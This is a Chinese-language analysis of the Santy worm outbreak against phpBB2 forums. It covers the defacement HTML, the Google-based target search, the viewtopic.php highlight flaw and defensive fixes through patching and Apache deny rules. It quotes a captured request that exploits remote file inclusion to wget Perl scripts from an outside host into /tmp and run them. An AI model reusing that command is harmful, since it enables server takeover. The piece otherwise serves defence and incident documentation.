最早的时间可以追溯到19日,这时在http://www.phpbb.com/security/上有一个提交报告: 该报告应该是说phpBB2中含有一个危险的漏洞。 接着没过多长时间一个网络蠕虫就在在一个phpBB2的论坛上发现了,所有被感染的网页都被涂改成如下所示:  这段内容的html代码是: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD><TITLE>This site is defaced!!!</TITLE></HEAD> <BODY bgcolor="#000000" text="#FF0000">; <H1 >This site is defaced!!!</H1>; <HR>; <ADDRESS>< b>NeverEverNoSanity WebWorm generation } . $generation .q{.< /b ></ADDRESS> </BODY> </HTML>
其中的 generation 7表示该病毒是第7代,最早的受感染的是第1代,每次感染另外一个网站,就加1。我所看到的最大的代数为29。 该蠕虫是在美国东部标准时间12月21日早晨首次被截获,并起名为Santy.A。 在12月22日,网络上可谓一篇混乱。利用Google搜索:nerverevernosanity将找到一大堆被感染的网站。该病毒利用phpBB2 (版本<=2.0.10)的viewtopic.php文件的highlight参数的漏洞来远程执行命令。并且该病毒使用google来搜索可入侵站点: http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all&%20q=allinurl%3A+%22v iewtopic.php%22+%22%20RANDOM1%20%3d%20RANDOM2%20%22&btnG=Search.
从而确定下一个使用phpBB2的站点。 网络上大概有600万个使用phpBB2的站点:  所有这些都是该蠕虫的繁殖温床!据估计这天就大约有4万的网站被感染。随后,google马上根据病毒提交的请求的特点,把这些请求都封掉。
如图所示如果你现在使用蠕虫的搜索方法搜索,你会看到如下页面:  如果不是Google的迅速行动,很快,一场大灾难即将爆发。而Google的迅速行动抑制了该蠕虫的传播。 但很快,santiy的变种就出来了,这个变种santiy.b利用yahoo搜索引擎!虽然如此,yahoo要封杀相应关键字问题还是不大的。 但是要才根本上解决该问题需要使用如下方法把有害的ViewTopic.php文件修正,才不会受感染: 打开viewtopic.php 找到下面这段:  修改为: 或者直接把phpBB2的版本升级为2.0.11也可以解决问题! 但是12月26日,一个最新变种Santy利用了更为通用的php漏洞,而不是只对使用了phpBB2论坛的php网站起作用。该蠕虫使用了一些这样的代码来上传文件: "GET /modules.php?name=http://www.[XXX].net/spy.gif?&cmd=cd%20/tmp; wget%20www.[XXX].net/spybot.txt;wget%20www.[XXX].net/worm1.txt; wget%20www.[XXX].net/php.txt;wget%20www.[XXX].net/ownz.txt; wget%20www.[XXX].net/zone.txt;perl%20spybot.txt;perl%20worm1.txt; perl%20ownz.txt;perl%20php.txt HTTP/1.1" 200 21626 "-" "LWP::Simple/5.803" 这里一共有6个文件: spy.gif (which contains a script) spybot.txt worm1.txt perl脚本代码,这段代码里尝试从Google上搜索可入侵目标。 php.txt ownz.txt zone.txt 需要注意的是,这些文件会根据不同的主机名而有所改变。通过这些修改后,该蠕虫不再只是攻击phpbb2论坛了,而是所有运行php脚本的 Uinx平台!只要该平台含有File Inclusion的漏洞,通过修改apach的配置文件可以堵住santiy.e这些变种的攻击,例如增加以下的行在apach的配置文件中: SetEnvIf User-Agent "LWP::" get_lost SetEnvIf User-Agent "lwp-trivial" get_lost <Directory /usr/local/apache/htdocs/your_phpdirectory> Order Allow,Deny Deny from env=get_lost Allow from all </Directory> 或者这样修改也可以: <Directory /*> RewriteEngine On RewriteCond %{QUERY_STRING} ^(.*)echr(.*) [OR] RewriteCond %{QUERY_STRING} ^(.*)esystem(.*) RewriteRule ^.*$ - [F] </Directory> 截至到目前为止,该蠕虫还没有更新的变种。而且从目前的情况来看,该蠕虫已经得到了很到的控制。 注析 ◆ Phpbb2 是一个使用php编写的论坛 ◆ Php 是一个编写动态网页的服务端脚本语言。 ◆ Apach 是运行于unix 或linux下的Web服务器 ◆ viewtopic.php是phpbb2论坛脚本文件中的一个,用于查看帖子内容。 |